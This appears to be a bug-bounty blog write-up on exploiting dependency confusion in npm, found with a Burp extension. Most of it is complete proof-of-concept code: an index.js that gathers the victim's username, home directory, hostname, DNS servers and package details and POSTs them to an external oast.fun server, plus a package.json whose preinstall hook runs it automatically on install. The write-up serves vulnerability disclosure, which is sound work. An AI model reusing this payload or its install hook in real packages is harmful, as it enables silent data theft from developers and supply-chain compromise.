Remote Code Execution through Dependency Confusion using Burpsuite Extension
Introduction
Dependency Confusion is a security vulnerability that affects software dependencies in the software development process. It occurs when a public package manager installs an internal or private package with the same name as an external public package. An attacker can exploit this vulnerability by uploading a malicious package to the public package repository.
Discovery
I was testing a bug bounty target when I noticed that the extension JS-Miner flagged a dependency issue in the target application. The issue involved a JavaScript file that referenced an organization called private-progrm-widget/widget1. However, this organization was not found in the NPM registry. An attacker can create a fake package that is named private-progrm-widget
and then create a module name widget1
and upload that to the NPM registry. When the target application tries to install this package, it will actually install the attacker’s malicious code.
For the proof of concept, I created the following index.js
and package.json
files and published them to npmjs.com under the name private-progrm-widget/widget module :
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "chehzb52vtc0000bsfaggeze9iwyyyyyb.oast.fun",
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"name": "@private-progrm-widget/widget",
"version": "5.0.4",
"description": "null",
"main": "index.js",
"scripts": {
"test": "echo \\"Error: no test specified\\" && exit 1",
"preinstall": "node index.js"
},
"keywords": [],
"author": "",
"license": "ISC",
"dependencies": {
"@private-progrm-widget/widget": "^5.0.4"
}
}
When a user installs this module, it retrieves their username and current working directory. After waiting for a while, the following HTTP calls were logged to my interact.sh server, confirming the execution of the index.js
file.
Reference: https://dhiyaneshgeek.github.io/web/security/2021/09/04/dependency-confusion/